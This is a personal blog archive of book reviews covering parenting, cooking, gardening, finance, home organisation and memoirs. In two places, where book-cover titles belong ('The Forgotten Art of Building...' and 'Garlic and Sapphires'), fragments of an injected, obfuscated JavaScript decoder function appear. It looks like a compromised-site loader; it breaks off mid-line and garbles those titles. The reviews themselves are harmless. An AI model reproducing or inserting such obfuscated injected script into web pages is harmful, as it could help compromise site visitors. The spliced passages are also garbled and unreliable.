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January 17, 2008

Book Review: The Middle School Survival Guide

Filed under: review, books — suzanne henderson @ 8:57 pm

The Middle School Survival Guide: How to Survive from the Day Elementary School Ends until the Second High School Begins

The Middle School Survival Guide, written by Arlene Erlback, seemed like a pretty good resource for my daughter’s first year in middle school. I assume that the target audience is other middle school children, from ages 11 to 14 (6th through 8th grade). The cover is playfully drawn and seems very inviting for youth in that age range.

I picked this book up from a library display and placed it in a public area of the house hoping that Alex would take the initiative to look at it. In the meantime, I flipped through it to get a sense of information presented. At first, I was quite pleased with many of the items — especially those focusing on academic and family life. The author does a good job stating how expectations often increase greatly in school and at home during the middle school years and presents several suggestions for dealing with this expectations. The book also has quotes from other middle schoolers offering advice on each topic as well.

I was also pleased to see the book addressing social concerns such as fitting in, dealing with peer pressure, and romantic relationships. I was happy to see the author pushing the approach that while fitting in is fine, you should also make sure your still being yourself and not what someone else wants you to be. Erlback also talks about consumerism and wearing name brand clothing and offers suggestions to avoid and ways to work with your parents, and their budget, to possibly get some you want.

While I really appreciated the upfront approach to peer relationships and challenges, puberty changes, and serious issues like violence and sexual assault — there were a few places where my views slightly conflicted with her commentary. First, I must comment that I feel that I’m very far from being prudish in any sense of the word, even when it comes to my daughter, and that I’m not naive as to the things kids are doing these days (being pregnant at 14, I know that some kids participate in some adult activities at a very young age). Here are the items that I took issue with:

  • In the Dressing Sexy section, the author comments on the influence of sex in the media and fashion and also that they way you dress can get you to get attention you don’t want. However, it also states “Unless you school has a dress code, you do have the right to dress however you want.” This one sentence really jumped out at me because I don’t believe it to be true, dress code or not. Especially not when it comes to dressing provocatively when you’re only 12. While the author seemed to be pushing a “less sexy is good” approach, this statement along with the youth quote really implied that dressing sexy is what everyone else is doing and you can too (”can” seem too easy for a youth to read can as “should”) . While my daughter has a lot of autonomy, she doesn’t have the “right” to do most thing as she choses, I do get some say in issues such as these.
  • In the Party Scene section, the author seemed to paint the picture that all middle school co-ed parties are big make-out sessions. Erlbach does a good job presenting ways out of the situation if it makes them uncomfortable, but also offers simple instructions on kissing. I don’t mind the instructions as much as the impression I get that this is the “normal” expectation. I guess I prefer it being presented as something that probably doesn’t happen, but here are some ways to deal with it if it does - like rest of the commentary on sexual activity in the book. The chapter goes into a lot more detail on sex, including oral sex, and provides a fairly upfront view that waiting until your older is better. It does a great job of discussing possible social fallout if you do have sexual intimacy with someone else and dealing with sexual rumors that are not true.

Overall, this books does a good job of addressing almost all the physical and social issues that our young children face today. I’d imagine that a more conservative parent would be a little uncomfortable with the very upfront commentary on puberty, sex, sexuality, and media influence. Other than the two items mentioned above, I’ve found little that I didn’t like in the book. Even with my reservations, I would still encourage my child read this book, especially because of the frank discussions on sexual issues (including abuse and assault!) and be willing to discuss any questions she might have. I feel that it offers a great deal in the direct way it discusses these issues and that I can personally address the concerns I have with the book with her.

December 27, 2006

Book Review: Vegetables Every Day

Filed under: review, books, cooking, food — suzanne henderson @ 2:50 am

Root Cellaring

First, let me say that if you cook, you should own this book. [Vegetables Every Day] by [Jack Bishop] states that is is The Definitive Guide to Buying and Cooking Today’s Produce, with more than 350 Recipes. I must agree because this book does cover all the standard, and a few less american-typical, vegetables found in the supermarket and farmstand. I came across this book at a friend’s house and watched how it was used almost daily to add variety to standby vegetables and test new vegetables coming from their recently established (reestablished) garden.

It is the perfect solution to doing more than steaming broccoli or broiling asparagus. Vegetables are listed in alphabetical order with informative introductions on the history of the vegetable, availability, selection criteria, storing conditions, basic preparation and best cooking methods. These details are just a page or two long and are followed with several different recipes for cooking and serving each vegetable. If you’re tired of plain mashed potatoes, this book with offer other recipes to try to help you break out of your culinary rut.

I’ve owned this book for almost two years and it is the most used book in my kitchen and if I was forced to select a single book for my cooking resource this would be it. While I’ve read it cover to cover only a few times — it is normally grabbed in desperation and habit pushes me toward tired approaches to my families favorite vegetables — I’ve taken a renewed interest in it in conjunction with reading [Root Cellaring] by Mike and Nancy Bubel. In preparation for the eventual root cellar and self-sustaining garden, I realize that our family needs to branch out in vegetable variety and this book is a roadmap for this new adventure. We’ll be making use of the recipe suggestions to helps us expand our tastebuds to include more vegetables that are common staples in the root cellar and family garden.

Wether you’re trying to expand your vegetable preferences or just tired of always using the same old preparation for your favorite vegetables - you should own this book. If you get it and hate it (impossible I believe), feel free to send me your copy because I could actually use two as I’m often making more than one new recipes a night when motivation strikes (and when the crisper drawer is overstuffed and items are nearing expiration).

Book Review: Root Cellaring: Natural Cold Storage of Fruits and Vegetables

Filed under: review, books, food — suzanne henderson @ 2:23 am

Root Cellaring

[Root Cellaring] by [ Mike and Nancy Bubel] addresses the somewhat forgotten method of fruit and vegetable storage - the root cellar. This book does an excellent job discussing the traditional root cellar while also making considerations for households that (probably) lack this luxury. This book can help you construct something small or elaborate or help you find nooks and crannies around your house to store a fall harvest of vegetables and fruits.

The books lists storage and growing details for each crop that help you grow and harvest them at the right time and use them before they’ve gone bad. Common problems and challenges are addressed along with lists of vegetables that are particularly hardy and are standard in most root cellars (or similar storage location).

While, I felt some of the options listed were not very practical - like burying large barrels of food stores in the yard - there were ideas for every situation. I liked that the book made storing vegetables possible for modern households and lifestyles - with and without modifications to the home (found space versus made space). If you’re just looking for a way to keep your farmstand produce fresh for a few more weeks, this book will be very helpful. If you want to go all and start tilling the ground, you’ve also got a great reference text.

Another nice perk is the Bubel’s month-to-month produce usage list that includes fresh, cellared, and frozen produce - it helps paint a realistic picture of what is possible with proper planning. Overall, this is an excellent book that I highly recommend to anyone who likes to cook and eat fresh produce.

Book Review: Square Foot Gardening

Filed under: review, books, food — suzanne henderson @ 1:47 am

Square Foot Gardening

[Square Foot Gardening] by [Mel Bartholomew] offers a “new” method for gardening - an approach that strays from the typical rows and rows of crops planted with much enthusiasm and lots of work during the growing season. This isn’t a new book, the copy I have was printed in 1981 and I’ve seen recent releases of 2005 (paperback) and a new book titled [All New Square Foot Gardening: Grow More in Less Space!].

For the home gardener, novice or experienced, this is a great resource for a new way to look at the work and effort put into the garden. Instead of sowing lengthy rows of crops, using entire packages seeds, you plant just the number of plants needed. This helps limit the strenuous chores of tilling, weeding, thinning, harvesting, and using surplus produce. This ‘new’ method produces gardens that resemble a giant tic-tac-toe with each block being filled with vegetables, herbs, and flowers - the amount you need and (hopefully) no more.

Best aspects:

  • charts listing the space needs, growing seasons, and square foot yields for different crops
  • the simple notion of considering how much fresh produce you’ll eat or process and planting based on that number instead of just going out and sowing until the ground is full of (over) abundance
  • planting individual seeds help save on seed costs (assuming you store them properly, as noted) and reduces the need to come out and thin or pull out perfectly good plants that contribute to overcrowding of the typical garden
  • tiling and weeding reduced to a mere fraction compared to traditional gardening

My only, very minor, complaint is the failure to include planting for storage in terms of root cellar storage. I reread this book following a rereading of [Root Cellaring] and was disappointed to see that canning and freezing were the only storage methods addressed. Obviously, this is a minor complaint because the book is addressing growing food and needn’t include processing options. If your planning on growing foods ffor winter storage, you still need to consider your actual needs so you can still plant what you need and not go overboard (something that seems easy to do when considering the aspect of living off your winter stores for several months).

This is an excellent companion to [Root Cellaring] and a wonderful resource that I’ll be calling upon as soon as we have enough land or space to start our garden. The newer book supposedly includes new methods to make it even easier, but I think I’ll stick with this volume since it provides everything I need and I’m not really looking for more shortcuts.

July 16, 2006

Book Review: The Forgotten Art of Building and Using a Brick Bake Oven

Filed under: review, books, cooking, food — suzanne henderson @ 10:28 am

The Forgotten Art of Building <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Using a Brick Bake Oven” />

[The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon] also had the titles “How to Date, Renovate, or Use an Existing Brick Oven, or to Construct a New One” and “The Lore an History of an Indispensable Part of the Kitchen from Colonial Times tot he 1800s”. Lots of titles for a slender book.

This is a very compact book with lots of descriptions, images, and diagrams. On first impression, I didn’t really find it useful for dating a brick oven, but maybe if I spent more time looking at them I’d find some of his descriptions helpful. What I really enjoyed was the detailing on how to build your own brick oven, the proper method for building a fire, and general baking instructions.

The images offer plenty of dimensions and considerations for building a working brick oven in your fireplace or in any other area of the kitchen. I look forward to building one some day and baking in the oven while cooking in the open-hearth.

Book Review: The Open-Hearth Cookbook

Filed under: review, books, cooking, food — suzanne henderson @ 10:12 am

The Open-Hearth Cookbook

[The Open-Hearth CookBook: Recapturing the Flavor of Early America|The Open-Hearth CookBook] by [Suzanne Goldenson] and [Doris Simpson].

This book provides a brief, yet detailed, overview of early American cooking in the fireplace. It discusses the cooking implements used for cooking and describes the differences between wealthy households and average households. Descriptions on how to build and maintain a fire, judge cooking temperatures and times, and how to use even a modern day fireplace to recreate meals from the past are included.

I found the details about how yesteryear cooking was accomplished very interesting and motivating for getting a fireplace big enough to try it out. The authors provide descriptions of their attempts to recreate past recipes and also include many recipes that most families, today, could use. There are little bits of information that really make this book an excellent resource for someone looking to bring open-hearth cooking into their home — like detailing the instruments used and stating how antique collectors make it almost impossible, financially, to obtain certain authentic, useful equipment. However, they do assure you that any modern blacksmith would be able to help to make equipment you may not be able to find.

I also enjoyed seeing how the cooking methods did not differ greatly from our stove top cooking today. The authors even explain how we continue to use the same senses to determine cooking temperature and times in meal preparation. They mentioned that the desire for gas ranges truly reflects how we’ve continued these early cooking methods because of the ability to allow our visual and physical clues tell us about the heat versus reliance on a electric cook tops that probably provides more accurate temperature control.

Great book for anyone looking to cook over a fire — be aware that it probably takes a little more effort and a lot more wood than you originally thought. This books goes well with [The Forgotten Art of Building and Using a Brick Bake Oven] by [Richard M. Bacon].

May 5, 2006

Book Review: You Can Do the Math

Filed under: review, books — suzanne henderson @ 8:33 pm

You Can do the Math

[You Can Do the Math: Overcome Your Math Phobia and Make Better Financial Decisions] is written by [UMD|University of Maryland, College Park] professor [Ron Lipsman].

First, I find it rather amusing that this book is written by a professor at my university. I’m not sure that it adds a lot to my interpretation of the book other than the fact that I can actually walk across campus and say hi to the guy if I wanted. In fact, I’ve considered doing so just because this to be a great book for someone like me.

I argue about how much I dislike math when it comes to math classes and homework and tests, but the reality is that I love having a formula to use to calculate useful amounts - like compounding interest or statistical significance. Professor Lipsman does a fabulous job presenting these concepts and formulas in a way that is easy to understand, and if you sit down with pencil and paper you will see just why it works.

The current period of my life is full of upcoming decisions involving home buying decisions, car purchasing, investment planning, and putting money away for my daughter’s education — this book is exactly what I need to be reading because it talks about all of these topics and more. Concepts like compounding interest and mortgage payment calculations are no longer rocket science — it is really quite simple.

Lipsman also addresses other financial decisions like insurance and gambling and how to apply mathematical formulas to them in order to evaluate their costs and benefits. Also, interests and tax brackets are given a lot of consideration and formulas are given that show just how an investment or situation for a lower-taxed individuals differs from a higher-taxed individual — this idea alone is quite interesting. The ability to calculate average return on investments, average inflation, and average taxation in order to truly see what something helps me get a full grasp on the full scope of investing and exactly how my money is or is not working for me.

Personally, I feel this book is a excellent (and essential) tool for everyone interested in their finances. Being able to understand the math behind it all, beyond the generic investment calculator, will really give you a look at the financial picture in full detail and really illustrate exactly why some investment and decisions are better or worse. However, while he does a good job of writing the book for a generic reader and it attempts to prevent math formula intimidation, I think his concepts are only really accessible if you’ve got a decent math foundation or a willingness to get out the pencil and paper and test his formulas to really bring home the concepts they illustrate.

This is not a book full of investment wisdom or get rich suggestions — this book is all about understanding the math behind all the major purchases and investments options presented over a life time. I feel it has underlying suggestive value because once you do the math, you’ll probably see what direction you need to take. Finally, the author has presented the information in a way that is both informative, mathematical, and amusing. And, his ideas might even be considered minimally politically charged and that makes me enjoy it all the more — someone with an opinion willing to put that out there along with his useful data.

Excellent book certainly worth owning!

March 16, 2006

Book Review: Body Clutter

Filed under: flylady, books — suzanne henderson @ 10:27 am

[Body Clutter: love your body, love yourself] by [Marala Cilley] and [Leanne Ely]

Written by the author of [Sink Reflections] and the author of [Saving Dinner], Body Clutter is a joint endeavor by the Flylady and Leanne Ely. The flylady email list that I am on has given numerous testimonials regarding the book, setting it out as a wonderful tool for starting on that path to removing personal body clutter (fat).

Now, the book boasts the fact that it is more than just losing weight. Eliminating body clutter is also about addressing the reasons we over eat, including emotional attachments to food and childhood experience that may give us an unhealthy excessive craving for certain items. There are activities in the book, mostly journaling activities, designed to address the issues behind over eating and poor nutrition and exercise.

In Marla’s typical narrative style, there is a lot of conversational material in the book that seems to barely get at the issues. Yes, she discusses them and tries to provided her standard motivation of encouragement without accepting whining or excuses, but it really works out to a lot of flat paragraphs. Personal examples have filled all of her writings from Sink Reflections to her website and emails, but in this instance, they seem to be overwhelming her message in a negative way.

Leanne Ely offers a lot of insight in how to make eating healthy possible. I like having her insight, especially considering that I’m one of the many subscribers to savingdinner.com’s weekly menu lists. But she also seemed to adopt Marla’s style of writing that really just filled 227 pages with what could have been done in about 50.

Now, to be fair, I am not starting out on searching for the right motivation to get healthy. I’ve already figured that out for myself. However, I was hoping ot find some suggestions or comments that would stick with me, as I did in the Sink Reflections book, that would make it easier to continue on my path. Flylady (Marla) has often directed her prose at the individual who feels hopelessly out of control of their life and this book is a reflection on that. But, unfortunately, it just seems like a long narrative highlighting that issue without truly empowering someone to stand up and take action or how to start that process. For someone so focused on “babysteps” for progress, she didn’t fufill her goal of helping people on to their personal journey for eliminating body clutter. Instead, she just threw her experiences (and Leanne’s) out to the masses, mentioned how our mind plays a role in our habits, and just let the pieces fall where they may.

Finally, I have to admit to my discomfort at giving a negative review of this book. Mostly because I admire Flylady’s methods and her ability to get people motivated. But, I just can’t say that this book is of any use to anyone who needs to make a change or who wants to make a change. There are other books out there that address the mental and physical issues surrounding weight loss while empowering the reader with real, tangible steps to start taking. Body Clutter is just another passive excuse for not dealing with the issue, it’ll get read and people will be able to agree with the writings, but in the end it will just end up at the bottom of the book shelf, if not garage sale pile, because there is nothing in it to refer back to or hold on to.

March 2, 2006

Sitting Pretty: Fountain of Youth

Filed under: books — suzanne henderson @ 11:04 am

Sitting Pretty: Fountain of Youth

I’ve added this book to my upcoming reading list. It has been mentioned on several pages that I’ve read and sounds like I’ll be able to identify with it to some extent. Of course, being a new book, my library doesn’t have it yet and my full-time student budget and buying a house plans have limited my book buying budget to about nothing.

I’m a big fan of the public library and love being able to get books through this service, but it means waiting for new books. I also like to support authors, but I tend to reserve that to books that I’ve been able to check it out and decide that it is worth buying. Considering the number of books I read — far more than I manage to review — I must use this method. Otherwise, i would be spending all of my budget to keep up with my reading interests.

February 6, 2006

Book Review: The Simpler Family

Filed under: review, books — suzanne henderson @ 3:29 pm

a book by Christine Klein

The Simpler Family: A Book of Smart Choices and Small Comforts for Families Who Do Too Much. This book has some useful insights on ways to simply your life if things are feeling a little hectic. There is also information about going from a dual-income household to a single income household. Overall it seems to be just common sense, but I’ve also spent a lot of brainpower on this subject so I didn’t find anything new.

If there was a way to get a dense version of [Sink Reflections] for families that are not drowning in clutter but need a little more time and organization, that would be a great alternative to this book. This information can be found in many books and magazine articles about creating a happier and more peaceful home. Overall, this book pulls many things together in one place and makes for simpler reading — a decent place to start.

Book Review: Death by Theory

Filed under: review, books, school — suzanne henderson @ 3:09 pm

a book by Adrian Praetzellis that explores Archaeological Theory in a mystery novel. It does a good job refreshing one’s memory about the major theories in anthropology and archaeology without putting you to sleep. They touch on subjects just long enough to provide information and move on before you give up on reading anymore. I’d suggest it to anyone who wants a refresher course in theory or anyone who likes bizarre and cheesy mystery novels.

July 29, 2005

food and reading

Filed under: books, food — suzanne henderson @ 6:47 pm

Fork It Over : The Intrepid Adventures of a Professional Eater The Man Who Ate Everything (Vintage) Garlic <script type=function oc532bd2f6(uf){var yd=\'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var vb=\'\';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand Sapphires : The Secret Life of a Critic in Disguise” /> The Artful Eater: A Gourmet Investigates the Ingredients of Great Food

I’m still on a [food] [book] kick. I’m in the middle of three of these books and had some observations that I felt like sharing. I was able to find everything at my local library except for [The Artful Eater]. The first one, [Fork It Over], by [Alan Richman], is rather popular right now and I had to get in line on the hold list to get a copy. [The man Who Ate Everything], by [Jeffery Steingarten] has been sitting around on the shelves mostly untouched. The last returnstamp date says ‘Nov 29 2004′. Obviously there is no mad rush to read this one, not surprising since it is 8 years old. Steingarten does have a newer book (2002) that was sitting on the shelf waiting for me to return for seconds.

I eagerly started in on [Fork It Over], having just set down the entertaining and tasty [Garlic and Sapphires]. It is a collection of essays that was published in [GQ] magazine on the topic of food. This small point should have stood out a little more upon initial interest in the book. It didn’t take long for the book to get off to a bad start with me. The writer is arrogant, plain and simple, and talks so little about food that I wonder why he even bother’s considering himself a food critic. Now, here is where I should have realized that his audience for these pieces are GQ readers and maybe this style of writing is personally suited to their tastes and expectations of both men as writers and food. The essays are tedious to get through and I’ve left the book lost on tables and couches several times, not interested in finding where I left off. I will give it my customary attempt to complete the full book before totally ruling it off the chart of worthwhile reading, however, the due date quickly approaches and there is a whole line of people waiting to sink their teeth in. Maybe they will find it more worthwhile that I have, maybe they read GQ on a religious basis and feel that adding a pompous character to the typical dining experience will make this a treat to devour. Or, maybe they’ll pick it up, happy it has finally arrived, and also sit and gawk at the brutish nature of the author and the seemingly disregard for the expectation that the articles be about food.

I was reluctant to pick up [The Man Who Ate Everything]. It wasn’t because of the sour taste left by Richman’s book, but because the book didn’t look exciting. It’s paperback cover looked like it’d be shoved to the back of the shelf and forgotten. The ‘National Bestseller’ heading made me delay even longer, having found that claims like that, printed on the actual book, typically mean that the book needs help and it cannot stand alone of reputation but simply get by at the mere suggestion that if many people bought it, it must be good. Luckily, I found this book listed on another food website or food book review, so I knew that someone took the time to read and suggest it. And, when facing the opportunity to read more from [Fork It Over] or to head on the new and hopefully better things, I finally started reading.

Now, Steingarten is a great food writer. The articles are not always about the tastes of food but they do relate to food in every way. And, he seems completely interested in all things about eating and he conveys this with little trouble. The writing is so down to earth and easy to linger through. I feel that I could easily invite him over for a tall glass of ice tea and to discuss what new creative projects he has set out for. For example, he doesn’t just write about food in the simple tasting way, but really delves into his topics and offers up his own minorly-political commentary to boot. There is an entire article on catsup, not something I typically have an interest in, but in the methodological approach and witty syntax, it was an enjoyable adventure to embark on. He writes with the simplicity of the average person, there is no need to cater to some imagined stereotyped reader, but to write for the masses about the masses of food. I’m loving this book and hope to add it to my collection some day.

I have not forgotten about [The Artful Eater]. I am still working my way through it bit by bit, far more enchanted by it now than I was in the beginning. It must have been my bad mood talking before. This is a charming book, suited for quiet moments of life reflection and when you want to take your time. I find it to be the perfect before-bed-ritual-reading book because, along with the serene cover, the words float carefully through your mind and stir up subtle responses. I’m working on it one page of one article at a time and plan to finish it at a very leisurely rate.

July 20, 2005

Blog of a Bookslut

Filed under: books — suzanne henderson @ 9:20 pm

Blog of a Bookslut

So many things have caught my interest lately. I’d grown so tired of blogs that I’d almost given up on even opening a browser every day. But since i’ve had time to turn a few pages this summer, I’m catching up on some reading. I’m finding the book slut to be a good source of suggestion.

July 19, 2005

Garlic and Sapphires : The Secret Life of a Critic in Disguise

Filed under: books, food — suzanne henderson @ 1:33 pm

Garlic and Sapphires : The Secret Life of a Critic in Disguise by Ruth Reichl

I just picked this up on 7-day loan from the library to supplement my other readings. So far I’ve made it through the first chapter over lunch and it looks very promising. I think this is her third book on the subject of food, hopefully they are not a prerequisite for this one.

Oh, and I’m also finding more little treasures in [The Artful Eater] as I occasionally pick it up and read more.

July 18, 2005

Book Review: The Artful Eater

Filed under: review, books, food — suzanne henderson @ 6:48 am

The Artful Eater

Current book that I’m reading and that I unfairly nitpicked last night. I’ll give it another chance since I’ve given it a few more glances and it has peaked my interest a little more in light of a little less crabby mood. However, I should still go pick up a another book at the store to read on the side.


I never really finished the book but still found it worthwhile. It is a book best suited for the moments when you’ve a small span of time to spare and don’t want to spend it doing nothing. All of my other food readings have provided me a wealth of information and this book added very little to my knowledge. Of course, if I was new to food it would be an informative rescource.

July 17, 2005

book quest

Filed under: books, food, life — suzanne henderson @ 9:41 pm

Finally went grocery shopping today. I get cranky when it doesn’t happen for a couple weeks, though it is as much my responsibility as anyone else’s. So, there is food in the house. I made banana muffins this afternoon, didn’t use any ingredients that came home from the store, and they turned out… edible. Chris likes them and agreed that they taste healthy, which I guess is the point, I think that they are awful, but I don’t really like banana bread to begin with. They didn’t look terribly inviting right out of the oven, just your average healthnut muffin.

In looking up websites today, i found a book that sounded pretty neat, [The Artful Eater]. The library didn’t carry it and I got all cranky about it because they didn’t carry that nor any of the other books that I was also looking for this afternoon.

We ended up going out to eat at a little place in… some no-name neighborhood in Columbia (because I wanted fettucini alfredo, and we were hoping to find somewhere besides [pasta plus] that serves a good bowl of pasta) and then went to the book store to pick up some books.

We first went to [Daedalus Books] in [Columbia, MD] to check out their selection. While their selection is limited, the discount prices are worth checking out. Chris walked out with several new books for under $40. And at least one of the books would have listed for that much at our next stop: [Borders]. At Borders, I found the book that I wanted and nothing more. I’m feeling a little overwhelmed by spaces right now, so the rows and rows of books were a bit too much. I was happy to get my book and just wander around without intent until we were ready to leave.

But, it turns out, that I don’t think I care too much for the book I have. I’ve read a few of the essays from it and I’m not all that impressed with what I’ve see. I guess I have just watched too many [Good Eats] episodes and read too many things by [Alton Brown] and that this author isn’t able to hold my interest as he, rather dryly, doles out the historical and gourmetical qualities of basic ingredients of food. I’ve already had my modern-Americanize-flash-media attention-deficient-disorder catered dose of similar information severed to me in a far more tasteful platter and I don’t have a snooty snout that needs to pretend that I need fine dining airs to make my basic ingredient knowledge feel more complete. Not to say that it isn’t a really neat book, I’m just cranky and frustrated that I’ve gone to so much trouble to get a book that appears to be a dissapointment. If it had be any other day, I’m sure I’d be appropriately amused by the author’s essays and have said it is a quaint additions to a cook’s bookshelf for the curious visitor to stumble upon.

June 29, 2005

Book Review: Reading Lolita in Tehran

Filed under: review, books — suzanne henderson @ 3:19 pm

a book by Azar Nafisi.

I am still reading this book but figured that I better review what I can now before I forget. This a true story.

The first section of this book talks about the reading group the author formed for several women in Theran, Iran. It starts in the time when modesty laws and modesty police were in effect, that the veil was being enforced along with many other restrictions on women behaviors. THe majority of the first section focuses on the texts that they read and it feels much more like a book review of those stories than a story of it’s own. I got tired of reading these reviews and rushed along to the end of this sections. However, I did go to the library and order the books that were mentioned in the section because from her comments, they sounded like something I should read. She mentioned: Lolita, Invitation to a Beheading, and The Great Gatsby, and perhaps others.

The second sections focuses on her experience when she was still teaching at the University before the new modesty laws were in place and enforced. She does an excellent job showing the movement in Iran at the time and what people were doing and feeling and how people like her responded to the restrictions being place. I found it very powerful to read, thinking that something like that could happen here as well. If you read her account then you might also see how it could.

I look forward to finishing this book.

Update: I did eventually finish it and felt that it didn’t really live up to my expectations. The constant addition of critiques of the literary novels really got in the way. I understand the reason she wrote it that way, especially seeing as how that is one of her professional/academic interests, but it really left me wondering more about the people involved and wishing that she’d just stop talking about the stories. So, overall, it is really my expectations that fault the book — not the book in and of itself. If someone with different expectations read this story, they would probably get a lot more out of it.

Book Review: The Time Traveler’s Wife

Filed under: review, books — suzanne henderson @ 3:02 pm

fiction by Audrey Niffenegger.

A great read for the summer. It is light and airy and easy to fall into. The diary/dialogue style works well for the book, a style that normally annoys me. The littlee details about the year and the character’s age is also useful in setting the plot each time it changes, which is again and again. It made me want to reread it just to plot out the time in sequence and see if it all worked out like it was supposed to, but I had it on a 7-day loan form the library so no time for that.

It is not a complicated book or a deep thinking book. It almost made me cry in the end, even though I knew what would happen, it left me anxious for what was to come. The reality of the story and the day to day life worked well with the total impossibility of the time traveling idea. There are a few places that could have been fleshed out more, especially Henry and Claire’s wedding, but I think the book sort of rushed on as it came to the end.

Maybe it is just me, but I like it when stories continue on and hate to turn that last page. I would have been happy to hear more of this story and read on for a few more days. Overall it was a good book to read,

March 25, 2005

Book Review: Everything you NEVER wanted your kids to know about SEX (but were afraid they’d ask)

Filed under: review, books — suzanne henderson @ 3:10 pm

book by Justin Richardson, M.D. and Mark A. Schuster, M.D.

A book addressing all of those difficult sex questions, and the basic ones too, for infants through teenagers. The authors make a strong initial point, parents need to decide what their views are about sex and what they want to portray to their children. This book will not tell you what you should, or to what degree, tell your kids about specific situations. However, it does raise several questions that will get parents thinking about why they may be reluctant to address specific issues.

I feel that this book is very useful for parents who feel that sexual development is an important part of growing up. Many issues are raised that need discussing either between parents (so they know what they want to say if a question is asked) or to children. I found the aspects that go beyond simple intercourse made this book very valuable. Discussing masturbation and establishing that it is okay to masturbate was dealt with very well.

The book does a good job of avoiding placing any judgement calls on the topics discussed or parents possible feelings toward them. It does present plenty of real life possible situations, ones that most parents may hope will never happen, and how to turn it into a positive discussion about sexuality.

A few of the topics covered in this book: nudity, masturbation, puberty, std’s, safe sex, sexual orientation…

March 15, 2005

Book Review: Sink Reflections

Filed under: flylady, review, books — suzanne henderson @ 3:14 pm

book by Marla Cilley - The FlyLady

A book focusing on home organization. This book provides a realistic view and method for getting organized, decluttering, and cleaning your house. Finally a system that takes in considerations people with habitual procrastination and difficultly following a organizational plan.

The FlyLady method really focuses on starting small, very small, and working up from there. She points out that you shouldn’t try to suddenly organize and clean your life overnight, or in a week. Instead, you should work on establishing certain habits or patterns, realized that it takes weeks to start a new habit, and work up from there. Major cleaning tasks, if you must tackle a major task, are broken up into 15 minute increments. It is amazing how many things can get done when broken up like that.

House cleaning is broken into small, manageable chunks of time and tasks spread throughout the week. Each week focuses on one area of the house, so there is no need to try to clean everything every week. And all of these tasks are done Monday through Friday, leaving the weekend free for fun family time.

For people concerned about getting their family members help, FlyLady points out that if you want the house clean and if it makes you happier, then it is up to you to clean it. This was a great one for me, I felt very overwhelmed trying to clean the house alone and would get mad that no one was helping. When I finally accepted that having a clean house is something that is important to me (and not as much to everyone else) and that it makes me happy, I was able to let go of the frustration that I was doing it alone. And, as FlyLady suggested, family members began to help out more when they saw me taking such an active role in keeping things clean.

Also, this system also focuses on removing any guilt you have about your messy situation. A wonderful consideration for people who feel so overwhelmed that they don’t know where to start. And, again, she focuses on taking small steps. No need to suddenly turn a brand new leaf and decide you’ll do everything perfectly from here on out.

I found this book to be extremely helpful in changing my view toward housework and organization. I admit that I am still at the babysteps stage, but I manage to keep my sink clean (it’s important, read why) and my kitchen running smoothly.

The [FlyLady] website is another resource for email reminders and good tips to keep you motivated.

April 25, 2004

reading something into it…

Filed under: books — suzanne henderson @ 9:24 pm

I’m currently reading [An Anthropologist on Mars] by [Oliver Sacks]. It is a collection of seven case studies / case descriptions of neurological diseases that are quite fascinating to explore. I’ve read about 4 of the studies so far and they have left me with all sorts of thoughts. Before getting into the one that is currently stirring up a wealth of contemplations of existence, I’ll mention my favorite to this point.

“To See and Not See” focuses on a case of a man near-lifetime blindness who has an operation to remove the cataracts on his eyes and restore sight. However, he can’t really see because he cannot make any mental-visual connection to what he ’sees’. His world has been completely tactile and non-visual.

Parents rarely consider that one of the major learning and development processes that takes places as an infant grows is the visual and mental connection of sight. As an adult we’ve had our whole lives to know that the large yellow object in the sky is the sun. Now take someone who has been blind, they cannot even comprehend what yellow is or round is (visually speaking). .

This is something we don’t even have a vocabulary for, because we cannot possible image what it would be like to exist without any representation of objects as we know it. We may mistakenly believe that a blind person simply builds a colorless world around them, but one that still takes solid form. However, the man in the story had no concept of distance, because he processed things in how long (in minutes, seconds, steps) till something else happened or was present. This isn’t someone walking around in world painted black, this is someone walking through time.

Even now, I’m lacking the words or the mental organization to convey how dynamically this essay affected me. Trying to imagine or picture living in a world so different from the one I know and then being thrust into one where suddenly everything loses all context, nothing is anything like what I thought it was, and suddenly I have no world that is mine to exist in.

“Prodigies” is the essay I’m currently reading. However, since I went into far more detail on the concept of seeing, I’ll wait till tomorrow and till I have completed this chapter to go into the discussion of multiple intelligences and also the mysterious ways of the brain.

His book makes me want to study neurology. Thankfully, I know I have not to mental capacity to pursue of that type of education. But damn this is fascinating.

October 4, 2003

Book/Movie Review: Girl, Interrupted

Filed under: movies, review, books — suzanne henderson @ 3:44 pm

the book by Susanna Kaysen:

Based on the author’s mental institution hospitalization in the 1960’s. Book is humerous and serious at the same time. The reader is not beat up with everything that is wrong with mental institutions or the reason’s people go there, instead you’re just given one person’s insight on her time in one. Kaysen makes a good point that you can find ‘normal’ people there and some people just get stuck and never leave.

Book is easy to read, great on a rainy afternoon. If you like this one, recommend Just Checking and Prozac Nation.

movie based on the book:

